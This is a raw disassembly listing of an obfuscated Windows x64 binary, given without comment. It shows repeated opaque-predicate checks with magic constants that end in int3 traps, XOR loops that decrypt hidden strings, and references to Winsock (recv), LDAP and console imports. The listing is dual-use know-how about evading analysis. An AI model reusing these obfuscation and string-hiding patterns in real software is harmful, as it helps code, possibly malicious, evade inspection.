mov rcx, qword gs:[rax]
mov rax, r8
and rax, r12
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x14003c735
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + r11]
mov r10, r14
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14d, reloc.WS2_32.dll_WSASetLastError
movabs r12, 0x5f8937e3e
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003c872
inc edi
cmp edi, 5
jl 0x14003c802
jmp 0x14003c883
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov r11d, 0xdb9fe8e7
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x14003c9b1
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x14003c8a7
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003d4a5
inc edi
cmp edi, 7
jl 0x14003c94a
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov rax, qword gs:[0xd]
mov r10d, 0xdb9fe8e7
mov r11d, 0x9e0d9526
cmp rax, r10
jne 0x14003cb28
mov r8d, r11d
mov rdi, rbx
mov r9d, ebx
mov r14d, r10d
movabs r15, 0x2aaaaaaaaaaaaaab
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r9d
sar rdx, cl
mov rax, r14
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r15
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r12
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x14003c9f1
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
mov r10, r14
lea rcx, [r8 + r14]
mov r8, r15
mov rax, r15
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14d, reloc.WS2_32.dll_WSASetLastError
movabs r12, 0x5f8937e3e
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003d4b0
inc edi
cmp edi, 5
jl 0x14003cac1
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x14003cc88
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9d, 0xdb9fe8f7
movabs r10, 0x2aaaaaaaaaaaaaab
movabs r12, 0xc9120f8b6b5ff569
dec r8d
dec r9
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003cb9b
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r12
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003cb5d
mov rax, rdi
xor rax, rdi
mov r10d, 0xdb9fe8e7
xor rax, r10
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xbd2ec3eb
or rcx, rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r10
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movabs r12, 0x5f8937e3e
movabs r8, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd18]
or rcx, rdx
mov rax, qword [rbp + 0xd10]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003d4bb
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14003cc1d
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x14003cdbc
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x14003ccac
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
mov r10d, 0xdb9fe8e7
xor rcx, r10
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r8, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r10
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003d4c6
inc edi
cmp edi, 7
jl 0x14003cd55
mov rax, qword gs:[0xd]
cmp rax, r10
jne 0x14003cf21
mov r8, r11
mov rdi, rbx
mov r9d, ebx
mov r11d, 0xdb9fe8e7
movabs r14, 0x2aaaaaaaaaaaaaab
mov r12d, 0xffafffef
mov ecx, r9d
mov rdx, r11
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r8, rdx
mov rax, r14
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r12
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x14003cded
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + r11]
mov r8, r14
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14d, reloc.WS2_32.dll_WSASetLastError
movabs r12, 0x5f8937e3e
movsxd rcx, edi
add rcx, r11
mov rax, r8
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003d4d1
inc edi
cmp edi, 5
jl 0x14003ceba
xor ecx, ecx
call fcn.1400c1f84
mov r11, rax
xor ecx, ecx
mov byte [rbp - 0x73], cl
xor r14b, 2
mov byte [rbp - 0x74], r14b
mov byte [rbp - 0x73], bl
mov byte [rbp - 0x40], 0xbf
mov byte [rbp - 0x3f], 0x7b
mov byte [rbp - 0x3e], reloc.WLDAP32.dll_Ordinal_32
mov byte [rbp - 0x3d], reloc.WLDAP32.dll_Ordinal_217
mov byte [rbp - 0x3c], 0x79
mov byte [rbp - 0x3b], 0xe1
xor eax, eax
mov byte [rbp - 0x3a], al
mov r8, rbx
mov r9, r12
lea r10d, [rcx + 6]
movabs r15, 0x8080808080808081
mov r14d, 0xfec33fb5
mov r12d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r15
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r15
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 - 0x40], dil
inc r8
add r9, r14
add r10, 6
cmp r9, r13
jb 0x14003cf78
mov byte [rbp - 0x3a], bl
mov r9, r11
lea r8, [rbp - 0x74]
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0xc10]
call fcn.1400c8b80
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
movabs r15, 0x6f756bdf3
mov r10d, 1
jne 0x14003d131
mov r8, rbx
mov ecx, r10d
lea r9d, [r10 + 4]
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
add rcx, r10
sub r9, r10
jne 0x14003d024
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r11
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
mov r11d, 0xdb9fe8e7
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003d4dc
add edi, r10d
cmp edi, 7
jl 0x14003d0c2
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x14003d265
mov rdi, rbx
mov rcx, r10
mov r9d, 5
mov r11d, 0xbd2ec3eb
mov rax, r11
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add rdi, rax
mov r8, qword gs:[7]
movzx eax, dil
xor r8, rax
add rcx, r10
sub r9, r10
jne 0x14003d155
xor r8, 0x232356cd
mov rcx, r8
mov rax, r11
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
mov rax, rdi
xor rax, r8
mov qword [rbp + 0xd10], rax
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
mov r11d, 0xdb9fe8e7
xor rcx, r11
or rcx, rdi
xor rcx, rdi
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movsxd rcx, edi
add rcx, r11
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003d4e7
add edi, r10d
cmp edi, 7
jl 0x14003d1f6
mov ecx, 2
call fcn.1400c1f84
mov r11, rax
mov al, 0x75
xor ecx, ecx
mov byte [rbp - 0x6f], cl
xor al, 2
mov byte [rbp - 0x70], al
mov byte [rbp - 0x6f], bl
mov byte [rbp + 8], 0xf6
mov byte [rbp + 9], 0xc2
mov byte [rbp + 0xa], 0xef
mov byte [rbp + 0xb], 0x83
mov byte [rbp + 0xc], __WSAFDIsSet
mov byte [rbp + 0xd], 0xe7
mov byte [rbp + 0xe], 0x47
xor eax, eax
mov byte [rbp + 0xf], al
mov r8, rbx
lea r10d, [rcx + 7]
mov r9, r15
movabs r14, 0xdeead7be6
movabs r13, 0x8080808080808081
mov r15d, 0xfec33fb5
mov r12d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 8], dil
inc r8
add r9, r15
add r10, 7
cmp r9, r14
jb 0x14003d2cc
mov byte [rbp + 0xf], bl
mov r9, r11
lea r8, [rbp - 0x70]
lea rdx, [rbp + 8]
lea rcx, [rbp + 0xc10]
call fcn.1400c8b80
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
movabs r15, 0x6f756bdf3
jne 0x14003d4fd
mov r10d, 0x9e0d9526
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
movabs r12, 0x2aaaaaaaaaaaaaab
mov r14d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r8d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r10, rdx
mov rax, r12
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r14
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x14003d381
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r11
mov r10, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003d4f2
inc edi
cmp edi, 5
jl 0x14003d440
jmp 0x14003d507
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
mov rcx, qword [rsp + 0x68]
call fcn.1400c0bb8
int3
movabs r10, 0x2aaaaaaaaaaaaaab
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x14003d649
mov rdi, rbx
mov r8d, reloc.WS2_32.dll_recv
mov r9d, 0xdb9fe8f7
movabs r11, 0xc9120f8b6b5ff569
dec r8d
dec r9
mov rax, r10
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rdx, qword gs:[rax]
mov ecx, r8d
and ecx, 0x80000003
jge 0x14003d570
dec ecx
or ecx, 0xfffffffc
inc ecx
mov rax, r11
sar rax, cl
xor rdx, rax
xor rdi, rdx
test r8d, r8d
jne 0x14003d532
mov rax, rdi
xor rax, rdi
mov r11d, 0xdb9fe8e7
xor rax, r11
mov qword [rbp + 0xd10], rax
mov rcx, rdi
mov eax, 0xdeadbeef
or rcx, rax
mov rax, rdi
mov edx, 0xbd2ec3eb
or rax, rdx
xor rcx, rax
xor rcx, 0x232356cd
mov qword [rbp + 0xd18], rcx
mov rax, rdi
not rax
and eax, 0x24200308
or rax, r11
xor rax, rdi
xor rax, 0xbadf00d
mov qword [rbp + 0xd20], rax
mov edi, ebx
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
or rdx, rax
mov rcx, qword [rbp + 0xd10]
or rcx, rdx
mov rax, qword [rbp + 0xd18]
or rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xfeedface
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003dc23
inc edi
mov eax, 0xa
cmp edi, eax
jl 0x14003d5de
mov ecx, 1
call fcn.1400c1f84
mov r11, rax
mov al, 0x75
xor ecx, ecx
mov byte [rbp - 0x6b], cl
xor al, 2
mov byte [rbp - 0x6c], al
mov byte [rbp - 0x6b], bl
mov byte [rbp + 0x10], 0xf6
mov byte [rbp + 0x11], 0xc2
mov byte [rbp + 0x12], 0xef
mov byte [rbp + 0x13], 0x83
mov byte [rbp + 0x14], __WSAFDIsSet
mov byte [rbp + 0x15], 0xe7
mov byte [rbp + 0x16], 0x47
xor eax, eax
mov byte [rbp + 0x17], al
mov r8, rbx
mov r9, r15
lea r10d, [rcx + 7]
movabs r14, 0xdeead7be6
movabs r13, 0x8080808080808081
mov r15d, 0xfec33fb5
mov r12d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x10], dil
inc r8
add r9, r15
add r10, 7
cmp r9, r14
jb 0x14003d6b0
mov byte [rbp + 0x17], bl
mov r9, r11
lea r8, [rbp - 0x6c]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0xc10]
call fcn.1400c8b80
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
mov r14d, reloc.WS2_32.dll_WSASetLastError
movabs r13, 0xbf126fc7c
jne 0x14003d897
mov r10d, 0x9e0d9526
mov rdi, rbx
mov r8d, ebx
mov r9d, r11d
movabs r12, 0x2aaaaaaaaaaaaaab
mov r14d, 0xffafffef
mov ecx, r8d
mov rdx, r11
shl rdx, cl
mov eax, 0x232356cd
sar rax, cl
or rdx, rax
xor r10, rdx
mov rax, r12
imul r9
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r9
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r10
and rax, r14
xor rcx, rax
add rdi, rcx
inc r8d
inc r9
cmp r8d, 8
jl 0x14003d76b
mov rcx, rdi
xor rcx, r10
mov rax, rcx
xor rax, rdi
mov qword [rbp + 0xd10], rax
add rcx, r11
mov r10, r12
mov rax, r12
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14d, reloc.WS2_32.dll_WSASetLastError
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003dc2e
inc edi
cmp edi, 5
jl 0x14003d830
mov rax, qword gs:[0xd]
cmp rax, r11
jne 0x14003d9c5
mov r8, rbx
mov ecx, 1
lea r9d, [rcx + 4]
mov r10d, 0xbd2ec3eb
mov rax, r10
cqo
idiv rcx
imul rax, rdx, 0x8cbe013
add r8, rax
mov rdi, qword gs:[7]
movzx eax, r8b
xor rdi, rax
inc rcx
sub r9, 1
jne 0x14003d8bb
xor rdi, 0x232356cd
mov rcx, rdi
mov rax, r10
imul rcx, rax
movabs rax, 0xe9233b7ed02e08f
imul rcx
sar rdx, 0x19
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0x232356cd
sub rcx, rax
xor rdi, r8
mov qword [rbp + 0xd10], rdi
mov rax, r8
mov edx, 0xdeadbeef
or rax, rdx
xor rax, rcx
mov qword [rbp + 0xd18], rax
xor rcx, r11
or rcx, r8
xor rcx, r8
xor rcx, 0xbadf00d
mov qword [rbp + 0xd20], rcx
mov edi, ebx
movabs r10, 0x2aaaaaaaaaaaaaab
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
and rdx, rax
mov rcx, qword [rbp + 0xd18]
and rcx, rdx
mov rax, qword [rbp + 0xd10]
and rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xbaadf00d
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003dc39
inc edi
cmp edi, 7
jl 0x14003d95e
movdqa xmm0, xmmword [0x14010a040]
movdqu xmmword [rbp + 0x968], xmm0
movdqa xmm1, xmmword [0x14010a190]
movdqu xmmword [rbp + 0x978], xmm1
mov byte [rbp + 0x988], __WSAFDIsSet
mov byte [rbp + 0x989], Ordinal_50
mov byte [rbp + 0x98a], 0x48
mov byte [rbp + 0x98b], 0x48
xor eax, eax
mov byte [rbp + 0x98c], al
mov r8, rbx
lea r10d, [rax + 0x24]
movabs r9, 0x23d374f574
movabs r11, 0x8080808080808081
mov r15d, 0xfec33fb5
mov r12d, 0xfec33fb4
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, r12
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x968], dil
inc r8
add r9, r15
add r10, 0x24
movabs rax, 0x47a6e9eae8
cmp r9, rax
jb 0x14003da30
mov byte [rbp + 0x98c], bl
xor r8d, r8d
mov edx, esi
lea rcx, [rbp + 0x968]
call fcn.140039734
mov rax, qword gs:[0xd]
mov r11d, 0xdb9fe8e7
cmp rax, r11
movabs r12, 0x5f8937e3e
mov esi, 0x9e0d9526
jne 0x14003dc55
mov r8d, esi
mov rdi, rbx
mov r9d, ebx
mov r10d, r11d
movabs r14, 0x2aaaaaaaaaaaaaab
mov r12d, 0xffafffef
mov edx, 0x232356cd
mov ecx, r9d
sar rdx, cl
mov rax, r11
shl rax, cl
or rdx, rax
xor r8, rdx
mov rax, r14
imul r10
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rcx, [rdx + rdx*2]
shl rcx, 5
mov rax, r10
sub rax, rcx
mov rcx, qword gs:[rax]
mov rax, r8
and rax, r12
xor rcx, rax
add rdi, rcx
inc r9d
inc r10
cmp r9d, 8
jl 0x14003daf1
xor r8, rdi
mov rax, r8
xor rax, rdi
mov qword [rbp + 0xd10], rax
lea rcx, [r8 + r11]
mov r10, r14
mov rax, r14
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rcx, qword gs:[rcx]
mov rax, rdi
mov edx, 0xdeadbeef
or rax, rdx
xor rcx, rax
xor rcx, 0x45927dc1
mov qword [rbp + 0xd18], rcx
xor edi, edi
xor rdi, 0x4e3f8dcc
mov qword [rbp + 0xd20], rdi
mov edi, ebx
mov r14d, reloc.WS2_32.dll_WSASetLastError
movabs r12, 0x5f8937e3e
movsxd rcx, edi
add rcx, r11
mov rax, r10
imul rcx
sar rdx, 4
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rdx + rdx*2]
shl rax, 5
sub rcx, rax
mov rdx, qword gs:[rcx]
mov rax, qword [rbp + 0xd20]
xor rdx, rax
mov rcx, qword [rbp + 0xd18]
xor rcx, rdx
mov rax, qword [rbp + 0xd10]
xor rax, rcx
mov qword [rsp + 0x68], rax
imul ecx, edi, 0xcafebabe
mov rax, qword [rsp + 0x68]
cmp rax, rcx
je 0x14003dc44
inc edi
